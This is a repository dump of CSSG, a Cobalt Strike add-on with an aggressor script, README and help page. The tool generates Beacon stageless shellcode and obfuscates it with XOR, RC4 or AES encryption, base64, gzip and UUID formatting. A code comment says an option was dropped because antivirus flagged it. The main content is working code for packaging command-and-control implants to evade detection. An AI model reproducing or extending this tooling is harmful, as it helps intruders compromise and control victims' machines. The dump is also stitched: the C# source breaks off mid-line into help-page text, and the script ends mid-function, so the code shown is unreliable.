├── CSSG_gui2.png
├── CSSG_load.cna
├── LICENSE
├── README.md
├── assets
├── Encryptor.exe
├── Encryptor
│ ├── .vs
│ │ └── Encryptor
│ │ │ └── v16
│ │ │ └── .suo
│ ├── Encryptor.csproj
│ ├── Encryptor.sln
│ ├── Program.cs
│ ├── Properties
│ │ └── AssemblyInfo.cs
│ ├── bin
│ │ └── Debug
│ │ │ ├── Encryptor.exe
│ │ │ └── Encryptor.pdb
│ └── obj
│ │ └── Debug
│ │ ├── .NETFramework,Version=v4.7.2.AssemblyAttributes.cs
│ │ ├── DesignTimeResolveAssemblyReferencesInput.cache
│ │ ├── Encryptor.csproj.AssemblyReference.cache
│ │ ├── Encryptor.csproj.CoreCompileInputs.cache
│ │ ├── Encryptor.csproj.FileListAbsolute.txt
│ │ ├── Encryptor.exe
│ │ └── Encryptor.pdb
├── bin2uuids_file.py
└── encrypt_file.py
├── build
└── build.txt
├── help
└── shellcode_generator_help.html
└── scripts
└── shellcode_generator.cna
/CSSG_gui2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/RCStep/CSSG/cee5038b1c1c21a20109950826910135beac22cf/CSSG_gui2.png
--------------------------------------------------------------------------------
/CSSG_load.cna:
--------------------------------------------------------------------------------
1 | # CSSG Cobalt Strike Shellcode Generator
2 | # Inspired by @offsec_ginger https://github.com/offsecginger/AggressorScripts
3 | #
4 | # Shellcode Generator
5 | #
6 | # Add "Shellcode" top menubar button, "Shellcode Generator" submenu item, and load shellcode_generator.cna on click
7 |
8 | # Location of shellcode generator cna
9 | $SCGEN = "/scripts/shellcode_generator.cna";
10 |
11 | menubar("Shellcode", "shellcodegen", 2);
12 | popup shellcodegen {
13 |
14 | item "&Shellcode Generator" {
15 | @aggressor = script_resource(($SCGEN)."");
16 | println(@aggressor);
17 | include(@aggressor);
18 | }
19 |
20 | }
21 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | BSD 3-Clause License
2 |
3 | Copyright (c) 2023, Ryan Stephenson
4 | All rights reserved.
5 |
6 | Redistribution and use in source and binary forms, with or without
7 | modification, are permitted provided that the following conditions are met:
8 |
9 | 1. Redistributions of source code must retain the above copyright notice, this
10 | list of conditions and the following disclaimer.
11 |
12 | 2. Redistributions in binary form must reproduce the above copyright notice,
13 | this list of conditions and the following disclaimer in the documentation
14 | and/or other materials provided with the distribution.
15 |
16 | 3. Neither the name of the copyright holder nor the names of its
17 | contributors may be used to endorse or promote products derived from
18 | this software without specific prior written permission.
19 |
20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # CSSG
2 |
3 | # Cobalt Strike Shellcode Generator
4 |
5 | Ryan Stephenson (RCStep)
6 |
7 | Adds Shellcode - Shellcode Generator to the Cobalt Strike top menu bar
8 |
9 | 
10 |
11 | CSSG is aggressor, .NET, and python scripts used to more easily generate and format beacon shellcode
12 |
13 | Generates beacon stageless shellcode with exposed exit method, additional formatting, encryption, encoding, compression, multiline output, etc
14 |
15 | **shellcode transforms are done in the descending order they are listed in the menu**
16 |
17 | ---
18 |
19 | **Requirements:**
20 | The RC4/AES encryption option uses a python script or .NET assembly in the /assets folder
21 | Python based encryption depends on the pycryptodome package to be installed to perform the RC4/AES encryption
22 |
23 | Install pycryptodome with pip depending on your python environment:
24 |
25 | python -m pip install pycryptodome
26 | python3 -m pip install pycryptodome
27 | py -3 -m pip install pycryptodome
28 | py -2 -m pip install pycryptodome
29 |
30 | You can check that pycryptodome is present after the pip install with a command like:
31 |
32 | python -m pip list | grep crypto
33 |
34 | The generator will use your client host's default "python" command to launch the RC4/AES encryption script
35 |
36 | Your client host needs to be able to execute native .NET framework assemblies for the RC4/AES .exe backend option
37 |
38 | ---
39 |
40 | ***Options for the shellcode generator are:***
41 |
42 | **Listener:**
43 | Select a valid listener with the "..." button. Shellcode will be generated form this listener selection
44 |
45 | **Delivery:**
46 | Stageless (Staged not supported for the shellcode generator)
47 |
48 | **Exit Method:**
49 | process - exits the entire process that Beacon is present in when the beacon is closed
50 | thread - exits only the thread in which Beacon is running when the beacon is closed
51 |
52 | **Beacon Syscalls Method:**
53 | none
54 | direct
55 | indirect
56 |
57 | **Beacon HTTP Library:**
58 | wininet
59 | winhttp
60 |
61 | **Local Pointers Checkbox:**
62 | May use if you are going to execute the shellcode from an existing Beacon
63 | Generates a Beacon shellcode payload that inherits key function pointers from a same-arch parent Beacon
64 |
65 | **Existing Session:**
66 | The parent Beacon session where the shellcode will pull session metadata
67 | Shellcode should be run from within this Beacon session
68 |
69 | **x86 Checkbox:**
70 | Check to generate x86 shellcode, x64 is generated by default
71 |
72 | **Or Use Shellcode File:**
73 | Use an externally generated raw shellcode file in lieu of generating Beacon shellcode
74 | This allows you to use other exported Beacon files or output from other tools (Donut, msfvenom, etc)
75 |
76 | **Formatting:**
77 | raw - raw binary shellcode output, no formatting applied
78 | hex - hex formatted shellcode output
79 | 0x90,0x90,0x90 - shellcode formatted into a C# style byte array
80 | 0x90uy;0x90uy;0x90uy - shellcode formatted into a F# style byte array
81 | \x90\x90\x90 - shellcode formatted into a C\C++ style byte array
82 | UUID - shellcode transformed into UUID strings with a python script (padded with \x90s for 16 byte chunks)
83 | b64 - option to base64 encode the shellcode early in the generation process (before any encryption)
84 |
85 | **XOR Encrypt Shellcode Checkbox:**
86 | Check to XOR encrypt the shellcode (only one encryption type can be selected at a time)
87 |
88 | **XOR Key(s):**
89 | Randomly generated and editable XOR key character(s) to use for encryption
90 | Multiple characters will result in multiple rounds of XOR encryption (i.e. ABCDE)
91 |
92 | **RC4 Encrypt Shellcode Checkbox:**
93 | Check to RC4 encrypt the shellcode (only one encryption type can be selected at a time)
94 | Uses a python script or .NET Framework assembly to perform RC4 encryption
95 |
96 | **AES Encrypt Shellcode Checkbox:**
97 | Check to AES encrypt the shellcode (only one encryption type can be selected at a time)
98 | Uses a python script or .NET Framework assembly to perform AES Block Cipher AES-CBC encryption
99 | Shellcode is padded with \0 values to reach block size requirements
100 | A randomly generated IV is prepended to the encrypted shellcode data
101 |
102 | **RC4/AES Backend Checkbox:**
103 | Check to use a .NET exe assembly to encrypt your shellcode file
104 | Unchecked uses a python script to encrypt your shellcode file
105 | Encryption key byte lengths accepted for AES are 16, 24, and 32
106 | Encryption key byte lengths for RC4 are ANY when using .NET, and 5 bytes minium when using python
107 |
108 | **RC4/AES Backend tools:**
109 | A python script and compiled .NET assembly are in the assets directory
110 | Source folder for the Encryptor assembly is there as well for self compliation if you dont trust me (I wouldn't)
111 | Both of these tools can encrypt and decrypt RC4/AES shellcode/files
112 |
113 | encrypt_file.py Usage:
114 |
115 | encrypt_file.py [aes/rc4] [encrypt/decrypt] [key] [input file] [output file]
116 |
117 | Encryptor.exe Usage:
118 |
119 | Encryptor.exe [aes/rc4] [encrypt/decrypt] [key] [input file] [output file]
120 |
121 | **RC4 or AES Key**
122 | Randomly generated and editable RC4/AES key to use for encryption
123 | 32 byte AES key is generated and preferred for 256 bit AES encryption strength
124 | AES Encryption key byte lengths accepted are 16, 24, and 32
125 | RC4 key lenghth is 1 byte minimum if using .NET and 5 bytes minium if using python
126 |
127 | **Encoding/Compression:**
128 | none - No additional encoding or compression is done to the shellcode
129 | b64 - base64 encode the shellcode
130 | gzip then b64 - gzip compress then base64 the shellcode
131 | gzip - gzip compress the shellcode
132 | b64 then gzip - base64 then gzip compress the shellcode
133 | b64 then 7xgzip - base64 then gzip compress the shellcode 7 times
134 |
135 | **Multiline Output:**
136 | Can be used for non-raw/binary output formats
137 | none - no multiline formatting, shellcode is one long string
138 | quoted - Shellcode is broken up into lines surround by quotation marks
139 | chunks.push_back - Shellcode is broken up into lines surrounded by chunks.push_back(" and ");
140 |
141 | **Multiline Length:**
142 | Number of shellcode characters in each line if a multiline output option is selected
143 |
144 | **Generate Button:**
145 | Select directory for shellcode output
146 | Defalut filename will be beacon but can be changed
147 | Any encryption key used will be displayed in a popup and also written the Cobalt Strike Script Console
148 | The byte size of the raw beacon shellcode and final formatted beacon shellcode will be displayed in a popup and also written to the Script Console
149 | Location of files used to generate/build the shellcode are all set the scripts/shellcode_generator.cna file
150 |
151 | ---
152 |
153 | Inspired by the work of many infosec contributors
154 |
--------------------------------------------------------------------------------
/assets/Encryptor.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/RCStep/CSSG/cee5038b1c1c21a20109950826910135beac22cf/assets/Encryptor.exe
--------------------------------------------------------------------------------
/assets/Encryptor/.vs/Encryptor/v16/.suo:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/RCStep/CSSG/cee5038b1c1c21a20109950826910135beac22cf/assets/Encryptor/.vs/Encryptor/v16/.suo
--------------------------------------------------------------------------------
/assets/Encryptor/Encryptor.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {27780A45-FC10-4E68-A461-FCCEAF2D1BD6}
8 | Exe
9 | Encryptor
10 | Encryptor
11 | v4.7.2
12 | 512
13 | true
14 | true
15 |
16 |
17 | AnyCPU
18 | true
19 | full
20 | false
21 | bin\Debug\
22 | DEBUG;TRACE
23 | prompt
24 | 4
25 |
26 |
27 | AnyCPU
28 | none
29 | true
30 | bin\Release\
31 | TRACE
32 | prompt
33 | 4
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
--------------------------------------------------------------------------------
/assets/Encryptor/Encryptor.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 16
4 | VisualStudioVersion = 16.0.33423.256
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Encryptor", "Encryptor.csproj", "{27780A45-FC10-4E68-A461-FCCEAF2D1BD6}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Release|Any CPU = Release|Any CPU
12 | EndGlobalSection
13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
14 | {27780A45-FC10-4E68-A461-FCCEAF2D1BD6}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
15 | {27780A45-FC10-4E68-A461-FCCEAF2D1BD6}.Debug|Any CPU.Build.0 = Debug|Any CPU
16 | {27780A45-FC10-4E68-A461-FCCEAF2D1BD6}.Release|Any CPU.ActiveCfg = Release|Any CPU
17 | {27780A45-FC10-4E68-A461-FCCEAF2D1BD6}.Release|Any CPU.Build.0 = Release|Any CPU
18 | EndGlobalSection
19 | GlobalSection(SolutionProperties) = preSolution
20 | HideSolutionNode = FALSE
21 | EndGlobalSection
22 | GlobalSection(ExtensibilityGlobals) = postSolution
23 | SolutionGuid = {8AED7980-FCAA-4FE2-802C-FF295A4C9D9D}
24 | EndGlobalSection
25 | EndGlobal
26 |
--------------------------------------------------------------------------------
/assets/Encryptor/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Linq;
3 | using System.Text;
4 | using System.IO;
5 | using System.Security.Cryptography;
6 |
7 | namespace Encryptor
8 | {
9 | class Program
10 | {
11 | static void Main(string[] args)
12 | {
13 | try
14 | {
15 | if (args.Length != 5)
16 | {
17 | Console.WriteLine("Usage: Encryptor.exe
26 |
27 | The generator will use your client host's default "python" command to launch the RC4/AES encryption script
28 |
29 | Your client host needs to be able to execute native .NET framework assemblies for the RC4/AES .exe backend option
30 |
31 | ----------------------
32 |
33 | Options for the shellcode generator are:
34 |
35 |
Listener:
36 | Select a valid listener with the "..." button. Shellcode will be generated from this listener selection
37 |
38 |
Delivery:
39 | Stageless (Staged not supported for the shellcode generator)
40 |
41 |
Exit Method:
42 | process - exits the entire process that Beacon is present in when the beacon is closed
43 | thread - exits only the thread in which Beacon is running when the beacon is closed
Local Pointers Checkbox:
55 | May use if you are going to execute the shellcode from an existing Beacon
56 | Generates a Beacon shellcode payload that inherits key function pointers from a same-arch parent Beacon
57 |
58 |
Existing Session:
59 | The parent Beacon session where the shellcode will pull session metadata
60 | Shellcode should be run from within this Beacon session
61 |
62 |
x86 Checkbox:
63 | Check to generate x86 shellcode, x64 is generated by default
64 |
65 |
Or Use Shellcode File:
66 | Use an externally generated raw shellcode or other file in lieu of generating Beacon shellcode
67 | This allows you to use other exported Beacon files or output from other tools (Donut, msfvenom, etc)
68 |
69 |
Formatting:
70 | raw - raw binary shellcode output, no formatting applied
71 | hex - hex formatted shellcode output
72 | 0x90,0x90,0x90 - shellcode formatted into a C# style byte array
73 | 0x90uy;0x90uy;0x90uy - shellcode formatted into a F# style byte array
74 | \x90\x90\x90 - shellcode formatted into a C\C++ style byte array
75 | UUID - shellcode transformed into UUID strings with a python script (padded with \x90s for 16 byte chunks)
76 | b64 - option to base64 encode the shellcode early in the generation process (before any encryption)
77 |
78 |
XOR Encrypt Shellcode Checkbox:
79 | Check to XOR encrypt the shellcode (only one encryption type can be selected at a time)
80 |
81 |
XOR Key(s):
82 | Randomly generated and editable XOR key character(s) to use for encryption
83 | Multiple characters will result in multiple rounds of XOR encryption (i.e. ABCDE)
84 |
85 |
RC4 Encrypt Shellcode Checkbox:
86 | Check to RC4 encrypt the shellcode (only one encryption type can be selected at a time)
87 | Uses a python script or .NET Framework assembly to perform RC4 encryption
88 |
89 |
AES Encrypt Shellcode Checkbox:
90 | Check to AES encrypt the shellcode (only one encryption type can be selected at a time)
91 | Uses a python script or .NET Framework assembly to perform AES Block Cipher AES-CBC encryption
92 | Shellcode is padded with \0 values to reach block size requirements
93 | A randomly generated IV is prepended to the encrypted shellcode data
94 |
95 |
RC4/AES Backend Checkbox:
96 | Check to use a .NET exe assembly to encrypt your shellcode file
97 | Unchecked uses a python script to encrypt your shellcode file
98 | Encryption key byte lengths accepted for AES are 16, 24, and 32
99 | Encryption key byte lengths for RC4 are ANY when using .NET, and 5 bytes minium when using python
100 |
101 |
RC4/AES Backend tools:
102 | A python script and compiled .NET assembly are in the assets directory
103 | Source folder for the Encryptor assembly is there as well for self compliation if you dont trust me (I wouldn't)
104 | Both of these tools can encrypt and decrypt RC4/AES shellcode/files
105 |
106 |
107 | encrypt_file.py Usage:
108 |
AES or RC4 Key:
118 | Randomly generated and editable RC4/AES key to use for encryption
119 | 32 byte AES key is generated and preferred for 256 bit AES encryption strength
120 | AES Encryption key byte lengths accepted are 16, 24, and 32
121 | RC4 key lenghth is 1 byte minimum if using .NET and 5 bytes minium if using python
122 |
123 |
Encoding/Compression:
124 | none - No additional encoding or compression is done to the shellcode
125 | b64 - base64 encode the shellcode
126 | gzip then b64 - gzip compress then base64 the shellcode
127 | gzip - gzip compress the shellcode
128 | b64 then gzip - base64 then gzip compress the shellcode
129 | b64 then 7xgzip - base64 then gzip compress the shellcode 7 times
130 |
131 |
Multiline Output:
132 | Can be used for non-raw/binary output formats
133 | none - no multiline formatting, shellcode is one long string
134 | quoted - Shellcode is broken up into lines surround by quotation marks
135 | chunks.push_back - Shellcode is broken up into lines surrounded by chunks.push_back(" and ");
136 |
137 |
Multiline Length:
138 | Number of characters in each line if a multiline output option is selected
139 |
140 |
Generate Button:
141 | Select directory for shellcode output
142 | Defalut filename will be beacon but can be changed
143 | Any encryption key used will be displayed in a popup and also written to the Cobalt Strike Script Console
144 | The byte size of the raw beacon shellcode and final formatted beacon shellcode will be displayed in a popup and also written to the Script Console
145 | Location of files used to generate/build the shellcode are all set the scripts/shellcode_generator.cna file
146 |
147 |
--------------------------------------------------------------------------------
/scripts/shellcode_generator.cna:
--------------------------------------------------------------------------------
1 | # Shellcode Generator
2 | #
3 | # Shellcode Generator
4 | # Generates beacon stageless shellcode with exposed exit method and additional formatting, encryption, encoding, compression, multiline output, etc
5 | #
6 |
7 | # Set paths below to files needed for the payload build. Paths are relative to the custom_payload_generator.cna script location
8 |
9 | # Build directory for shellcode generator
10 | $SCDIR = "/build/";
11 |
12 | # Temp file for shellcode
13 | $SCFILE = "/build/shellcode";
14 |
15 | # File containng byte size of the raw shellcode
16 | $RAWSIZE = "/build/raw_shellcode_size.txt";
17 |
18 | # File containng byte size of the final shellcode
19 | $FINALSIZE = "/build/final_shellcode_size.txt";
20 |
21 | # File containng the XOR encryption key used by the generated shellcode
22 | $XORKEY = "/build/xor_key.txt";
23 |
24 | # File containng the AES/RC4 encryption key used by the generated shellcode
25 | $ENCKEY = "/build/encryption_key.txt";
26 |
27 | # Python script used to generate the aes encrypted shellcode file
28 | $ENCPYTHON = "/assets/encrypt_file.py";
29 |
30 | # .NET PE used to generate the aes encrypted shellcode file
31 | $ENCEXE = "/assets/Encryptor.exe";
32 |
33 | # Python script used to generate the UUID formatted shellcode file
34 | $UUIDPYTHON = "/assets/bin2uuids_file.py";
35 |
36 | # File containing the output of format_shellcode for python injestion
37 | $FORMATTED = "/build/formatted_shellcode";
38 |
39 | # File containing the output of python encryption
40 | $ENCRYPTED = "/build/encrypted_shellcode";
41 |
42 | # Help file for the payload
43 | $HELPFILE = "/help/shellcode_generator_help.html";
44 |
45 | # ensure this function name is called again at the end of this build script
46 | sub generate_shellcode {
47 | # Generate and cutomize the payload submenu
48 | $dialog = dialog("Shellcode Generator", %(listener => "Select Listener", xor_key => random_string("5"), encryption_key => random_string("32"), line_length => "80"), &shellcode_gen);
49 | dialog_description($dialog, "Generate beacon stageless shellcode or use external shellcode file. Options applied in descending order.");
50 | drow_listener_stage($dialog, "listener", "Listener: ");
51 | drow_combobox($dialog, "payload_type", "Delivery: ", @("Stageless","Staged"));
52 | drow_combobox($dialog, "exit_method", "Exit Method: ", @("process", "thread"));
53 | drow_combobox($dialog, "syscalls_type", "Beacon Syscalls Method: ", @("none","direct","indirect"));
54 | drow_combobox($dialog, "http_type", "Beacon HTTP Library: ", @("wininet","winhttp"));
55 | drow_checkbox($dialog, "local", "Local Pointers: ", "Embeded Pointers from an Existing Session");
56 | drow_beacon($dialog, "bid", "Existing Session: ");
57 | drow_checkbox($dialog, "x86", "x86: ", "Use x86 Shellcode");
58 | drow_file($dialog, "scfile", "Or Use Shellcode File: ");
59 | drow_combobox($dialog, "format", "Formatting: ", @("raw","hex","0x90\,0x90\,0x90","\\x90\\x90\\x90","0x90uy\;0x90uy\;0x90uy\;","UUID","b64"));
60 | drow_checkbox($dialog, "XOR", "XOR: ", "XOR Encrypt Shellcode");
61 | drow_text($dialog, "xor_key", "XOR Key\(s\): ");
62 | drow_checkbox($dialog, "RC4", "RC4: ", "RC4 Encrypt Shellcode");
63 | drow_checkbox($dialog, "AES", "AES: ", "AES Encrypt Shellcode");
64 | drow_checkbox($dialog, "enc_exe", "RC4/AES Backend: ", "Encrypt using .NET exe (unchecked uses python)");
65 | drow_text($dialog, "encryption_key", "AES or RC4 Key: ");
66 | drow_combobox($dialog, "encode_compress", "Encoding/Compression: ", @("none","b64","gzip then b64","gzip","b64 then gzip","b64 then 7xgzip"));
67 | drow_combobox($dialog, "multiline", "Multiline Output: ", @("none","quoted","chunks.push_back"));
68 | drow_text($dialog, "line_length", "Multiline Length: ");
69 | dbutton_action($dialog, "Generate");
70 | dbutton_help($dialog, "file:".script_resource($HELPFILE)."");
71 | dialog_show($dialog);
72 | }
73 |
74 | sub shellcode_gen {
75 | # Uncomment to enable cna script debugging
76 | #debug(debug() | 64);
77 |
78 | # Assign menu selections to variables used in shellcode build
79 | #$exit_method = $3['exit_method'];
80 | $xorkey = $3['xor_key'];
81 | $enckey = $3['encryption_key'];
82 | $linelength = $3['line_length'];
83 |
84 | # Error if no Listener or file is selected
85 | if (($3['listener'] ismatch "Select Listener") && ($3['scfile'] ismatch "")) {
86 | #berror($1, 'You did not select a proper Listener.');
87 | show_message("Please select a proper Listener or Shellcode file.");
88 | break;
89 | }
90 |
91 | else {
92 | # Set shellcode architecture based on menu checkbox selection
93 | $arch = "x64";
94 | if ($3['x86'] eq "true") {
95 | $arch = "x86";
96 | }
97 |
98 | # Error if Staged delivery type is selected
99 | if ($3['payload_type'] eq "Staged") {
100 | berror($1, 'You did not select Stagless Delivery.');
101 | show_message("Only Stageless Delivery supported for this shellcode generator.");
102 | break;
103 | }
104 |
105 | ###### Load or Create Beacon Shellcode Section
106 |
107 | # Alternate import of shellcode from a file if path is supplied
108 | if ($3['scfile'] ne ""){
109 | $shellcode_file = openf($3['scfile']);
110 | $shellcode = readb($shellcode_file, -1);
111 | closef($shellcode_file);
112 | println("Using shellcode file at: " . $3['scfile']);
113 | }
114 |
115 | # Create beacon shellcode with local session pointers, listener, architecture, and exit method
116 | else if ($3['local'] eq "true") {
117 | $shellcode = payload_local($3['bid'], $3['listener'], $arch, $3['exit_method'], $3['syscalls_type'], $3['http_type']);
118 | println("CSSG generating Beacon shellocode");
119 | println("Listener: " . $3['listener']);
120 | println("Embedding pointers from Beacon ID: " . $3['bid']);
121 | println("Architecture: " . $arch);
122 | println("Exit Method: " . $exit_method);
123 | println("Syscalls: " . $3['syscalls_type']);
124 | println("HTTP Library: " . $3['http_type']);
125 | }
126 |
127 | # else Create the beacon shellcode with listener, architecture, and exit method
128 | else {
129 | $shellcode = payload($3['listener'], $arch, $3['exit_method'], $3['syscalls_type'], $3['http_type']);
130 | println("CSSG generating Beacon shellocode");
131 | println("Listener: " . $3['listener']);
132 | println("Architecture: " . $arch);
133 | println("Exit Method: " . $exit_method);
134 | println("Syscalls: " . $3['syscalls_type']);
135 | println("HTTP Library: " . $3['http_type']);
136 | }
137 |
138 | # Get raw shellcode size in bytes
139 | $sc_size = strlen($shellcode);
140 |
141 | ###### Formatting Section
142 |
143 | # RAW/No Formatting
144 | if ($3['format'] eq "raw") {
145 | $format_shellcode = $shellcode;
146 | }
147 |
148 | # hex format
149 | if ($3['format'] eq "hex") {
150 | $format_shellcode = transform($shellcode, "hex");
151 | }
152 |
153 | # c# format
154 | if ($3['format'] eq "0x90\,0x90,\0x90") {
155 | $format_shellcode = format_csharp($shellcode);
156 | }
157 |
158 | # f# format
159 | if ($3['format'] eq "0x90uy\;0x90uy\;0x90uy\;") {
160 | $format_shellcode = format_fsharp($shellcode);
161 | }
162 |
163 | # c/cpp format
164 | if ($3['format'] eq "\\x90\\x90\\x90") {
165 | $format_shellcode = format_cpp($shellcode);
166 | }
167 |
168 | # UID format
169 | if ($3['format'] eq "UUID") {
170 | # Write $shellcode to a file for formatting
171 | $shellcode_resource = openf(">".script_resource($SCFILE)."");
172 | writeb($shellcode_resource, $shellcode);
173 | closef($shellcode_resource);
174 | sleep(3 * 1000);
175 | # Use UUID python script to transform the shellcode file
176 | $uuid_python = script_resource(($UUIDPYTHON)."");
177 | $in_file = script_resource(($SCFILE)."");
178 | $out_file = script_resource(($FORMATTED)."");
179 | exec("python ". $uuid_python ." $in_file $out_file");
180 | println("python ". $uuid_python ." $in_file $out_file");
181 | sleep(3 * 1000);
182 | # Set $format_shellcode value from the UUID transformed file
183 | $format_resource = openf(script_resource($FORMATTED)."");
184 | $format_shellcode = readb($format_resource, -1);
185 | closef($encrypted_resource);
186 | }
187 |
188 | # early b64 encoding option
189 | if ($3['format'] eq "b64") {
190 | $format_shellcode = base64_encode($shellcode);
191 | #$format_shellcode = transform($shellcode, "powershell-base64");
192 | }
193 |
194 | ###### Encryption Section
195 |
196 | # Error if multiple encryption types are selected
197 | if ($3['XOR'] eq "true" && $3['AES'] eq "true") {
198 | show_message("Cannot select both encryption types, try again");
199 | break;
200 | }
201 |
202 | # No Encryption
203 | if ($3['XOR'] eq "false" && $3['AES'] eq "false") {
204 | $encrypted_shellcode = $format_shellcode
205 | }
206 |
207 | # XOR Encryption
208 | if ($3['XOR'] eq "true") {
209 | $encrypted_shellcode = str_xor($format_shellcode, $xorkey);
210 | # Save XOR key to a file
211 | $xorkey_resource = openf(">".script_resource($XORKEY)."");
212 | writeb($xorkey_resource, $xorkey);
213 | closef($xorkey_resource);
214 | # Show XOR key in popup message and script console
215 | println("XOR Key: " . $xorkey . "");
216 | show_message("XOR key used is: $xorkey");
217 | }
218 |
219 | # AES Encryption
220 | if ($3['AES'] eq "true") {
221 | # Write $format_shellcode to a file for encryption
222 | $formatted_resource = openf(">".script_resource($FORMATTED)."");
223 | writeb($formatted_resource, $format_shellcode);
224 | closef($formatted_resource);
225 | sleep(3 * 1000);
226 | # Save AES key to a file
227 | $key_resource = openf(">".script_resource($ENCKEY)."");
228 | writeb($key_resource, $enckey);
229 | closef($key_resource);
230 | # Show AES key in script console
231 | println("AES Key: " . $enckey . "");
232 | #show_message("AES key used is: $aeskey");
233 | sleep(3 * 1000);
234 | # Use AES script or exe to encrypt the formatted shellcode file
235 | $encrypt_python = script_resource(($ENCPYTHON)."");
236 | $encrypt_exe = script_resource(($ENCEXE)."");
237 | $in_file = script_resource(($FORMATTED)."");
238 | $out_file = script_resource(($ENCRYPTED)."");
239 | println("AES Encrypting the shellcode with the following command:");
240 | if ($3['enc_exe'] eq "true") {
241 | exec("". $encrypt_exe ." aes encrypt $enckey $in_file $out_file");
242 | println("". $encrypt_exe ." aes encrypt $enckey $in_file $out_file");
243 | }
244 | else {
245 | exec("python ". $encrypt_python ." aes encrypt $enckey $in_file $out_file");
246 | println("python ". $encrypt_python ." aes encrypt $enckey $in_file $out_file");
247 | }
248 | sleep(3 * 1000);
249 | # Set $encrypted_shellcode value from the encrypted file
250 | $encrypted_resource = openf(script_resource($ENCRYPTED)."");
251 | $encrypted_shellcode = readb($encrypted_resource, -1);
252 | closef($encrypted_resource);
253 | sleep(3 * 1000);
254 | }
255 |
256 | # RC4 Encryption
257 | if ($3['RC4'] eq "true") {
258 | # Write $format_shellcode to a file for encryption
259 | $formatted_resource = openf(">".script_resource($FORMATTED)."");
260 | writeb($formatted_resource, $format_shellcode);
261 | closef($formatted_resource);
262 | sleep(3 * 1000);
263 | # Save AES key to a file
264 | $key_resource = openf(">".script_resource($ENCKEY)."");
265 | writeb($key_resource, $enckey);
266 | closef($key_resource);
267 | #$rc4key = $enckey;
268 | $rc4key = ("\"". $enckey ."\"");
269 | # Show AES key in script console
270 | println("RC4 Key: " . $rc4key . "");
271 | #show_message("RC4 key used is: $rc4key");
272 | sleep(3 * 1000);
273 | # Use AES script or exe to encrypt the formatted shellcode file
274 | $encrypt_python = script_resource(($ENCPYTHON)."");
275 | $encrypt_exe = script_resource(($ENCEXE)."");
276 | $in_file = script_resource(($FORMATTED)."");
277 | $out_file = script_resource(($ENCRYPTED)."");
278 | println("RC4 Encrypting the shellcode with the following command:");
279 | if ($3['enc_exe'] eq "true") {
280 | exec("". $encrypt_exe ." rc4 encrypt $rc4key $in_file $out_file");
281 | println("". $encrypt_exe ." rc4 encrypt $rc4key $in_file $out_file");
282 | }
283 | else {
284 | exec("python ". $encrypt_python ." rc4 encrypt $rc4key $in_file $out_file");
285 | println("python ". $encrypt_python ." rc4 encrypt $rc4key $in_file $out_file");
286 | }
287 | sleep(3 * 1000);
288 | # Set $encrypted_shellcode value from the encrypted file
289 | $encrypted_resource = openf(script_resource($ENCRYPTED)."");
290 | $encrypted_shellcode = readb($encrypted_resource, -1);
291 | closef($encrypted_resource);
292 | sleep(3 * 1000);
293 | }
294 |
295 | # position-independent blob of xor shellcode with an embeded decoder
296 | # DID NOT USE, xor decoder flagged by AV
297 | #$encoded_shellcode = encode($format_shellcode, "xor", $arch);
298 |
299 | ###### Encoding and Compression section
300 |
301 | # No additional encoding/compression
302 | if ($3['encode_compress'] eq "none") {
303 | $encoded_shellcode = $encrypted_shellcode;
304 | }
305 |
306 | # b64 encoded only
307 | if ($3['encode_compress'] eq "b64") {
308 | $encoded_shellcode = base64_encode($encrypted_shellcode);
309 | }
310 |
311 | # gzip compressed then b64 encoded shellcode
312 | if ($3['encode_compress'] eq "gzip then b64") {
313 | $encoded_shellcode = base64_encode(gzip($encrypted_shellcode));
314 | }
315 |
316 | # gzip compressed only
317 | if ($3['encode_compress'] eq "gzip") {
318 | $encoded_shellcode = gzip($encrypted_shellcode);
319 | }
320 |
321 | # b64 encoded then gzip compressed shellcode
322 | if ($3['encode_compress'] eq "b64 then gzip") {
323 | $encoded_shellcode = gzip(base64_encode($encrypted_shellcode));
324 | }
325 |
326 | # b64 encoded then 7x gzip compressed shellcode
327 | if ($3['encode_compress'] eq "b64 then 7xgzip") {
328 | $encoded_shellcode = gzip(gzip(gzip(gzip(gzip(gzip(gzip(base64_encode($encrypted_shellcode))))))));
329 | }
330 |
331 | ###### Multiline Output Section
332 |
333 | if ($3['multiline'] eq "none") {
334 | $final_shellcode = $encoded_shellcode;
335 | sleep(3 * 1000);
336 | }
337 |
